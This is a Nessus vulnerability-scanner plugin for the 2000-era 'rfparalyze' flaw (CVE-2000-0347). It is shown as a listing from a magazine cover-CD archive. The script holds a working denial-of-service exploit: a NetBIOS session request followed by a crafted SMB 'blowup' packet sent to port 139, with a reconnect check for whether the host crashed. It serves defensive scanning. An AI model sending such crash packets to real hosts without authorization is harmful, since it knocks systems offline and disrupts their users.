home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / rfparalyze.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  137 lines

  1.  
  2. #
  3. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  4. #
  5. # It's based on the 'rfparalyze' exploit
  6. #
  7. # See the Nessus Scripts License for details
  8. #
  9.  
  10. if(description)
  11. {
  12.  script_id(10392);
  13.  script_bugtraq_id(1163);
  14. script_cve_id("CVE-2000-0347");
  15.  script_version ("$Revision: 1.14 $");
  16.  name["english"] = "rfparalyze";
  17.  script_name(english:name["english"]);
  18.  
  19.  desc["english"] = "
  20. It was possible to crash the remote host
  21. using the 'rfparalyze' denial of service attack.
  22.  
  23. Solution : contact Microsoft for a patch. Meanwhile,
  24. filter incoming tcp connections to this port
  25. Risk factor : High";
  26.  
  27.  
  28.  desc["francais"] = "
  29. Il s'est avΘrΘ possible de faire planter le systΦme
  30. distant en utilisant l'attaque 'rfparalyze'
  31.  
  32. Solution : contactez Microsoft pour un patch. En attendant,
  33. filtrez les connections entrantes vers ce port
  34. Facteur de risque : ElevΘ";
  35.  
  36.  script_description(english:desc["english"], francais:desc["francais"]);
  37.  
  38.  summary["english"] = "Crash a host through winpopups";
  39.  script_summary(english:summary["english"]);
  40.  
  41.  script_category(ACT_KILL_HOST);
  42.  
  43.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison. Orignal code RFP");
  44.  family["english"] = "Denial of Service";
  45.  family["francais"] = "DΘni de service";
  46.  script_family(english:family["english"], francais:family["francais"]);
  47.  script_dependencie("netbios_name_get.nasl");
  48.  script_require_keys("SMB/name");
  49.  script_require_ports(139);
  50.  exit(0);
  51. }
  52.  
  53.  
  54.  
  55. function PadName(orig)
  56. {
  57.  ret = "";
  58.  len = strlen(orig);
  59.  for(i=0;i<15;i=i+1)
  60.  {
  61.    if(i >= len)
  62.    {
  63.      c = "CA";
  64.    }
  65.    else
  66.    {
  67.      o = ord(orig[i]);
  68.      odiv = o/16;
  69.      odiv = odiv + ord("A");
  70.      omod = o%16;
  71.      omod = omod + ord("A");
  72.      c = raw_string(odiv, omod);
  73.    }
  74.  ret = ret+c;
  75.  }
  76.  ret = ret + "AD";
  77.  return(ret); 
  78. }
  79.  
  80. function nessus_wins()
  81. {
  82.  security_hole(139); 
  83.  set_kb_item(name:"Host/dead", value:TRUE);
  84.  exit(0);
  85. }    
  86.  
  87.  
  88. name = string(get_kb_item("SMB/name"));
  89. if(!name)exit(0);
  90.  
  91.  
  92. blowup = raw_string(0x00, 0x00, 0x00, 0x41,0xff, 0x53, 0x4d,
  93.              0x42,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,
  94.             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  95.             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  96.             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  97.             0x00,0x00,0x00,0x00,0x00,0x19,0x00,0x04,
  98.             0x42,0x45,0x41,0x56,0x00,0x04,0x42,0x45,
  99.             0x41,0x56,0x49,0x53,0x00,0x01,0x08,0x00,
  100.             0x79,0x65,0x70,0x20,0x79,0x65,0x70,0x00,
  101.             0x00);
  102.  
  103.  
  104.  
  105. myname = PadName(orig:"WICCA");
  106. yourname = PadName(orig:name);
  107.  
  108. req = raw_string(0x81, 0x00, 0x00, 0x44, 0x20) + yourname;
  109. req = req +  raw_string(0x00, 0x20);
  110. req = req + myname + raw_string(0x00);
  111.  
  112. if(!get_port_state(139))exit(0);      
  113. soc = open_sock_tcp(139);
  114.  
  115.  
  116. if(soc)
  117. {
  118. send(socket:soc, data:req, length:72);
  119. r = recv(socket:soc, length:4000);
  120. if(ord(r[0])==0x82)
  121. {
  122.  send(socket:soc, data:blowup, length:72);
  123.  r = recv(socket:soc, length:4000);
  124.  close(soc);
  125.  
  126.  sleep(5);
  127.  soc = open_sock_tcp(139);
  128.  if(!soc)nessus_wins();
  129.  
  130.  send(socket:soc, data:req, length:72);
  131.  r = recv(socket:soc, length:4000);
  132.  close(soc);
  133.  if(!r)nessus_wins();
  134.  if(!(ord(r[0]) == 0x82))nessus_wins();
  135.  }
  136. }
  137.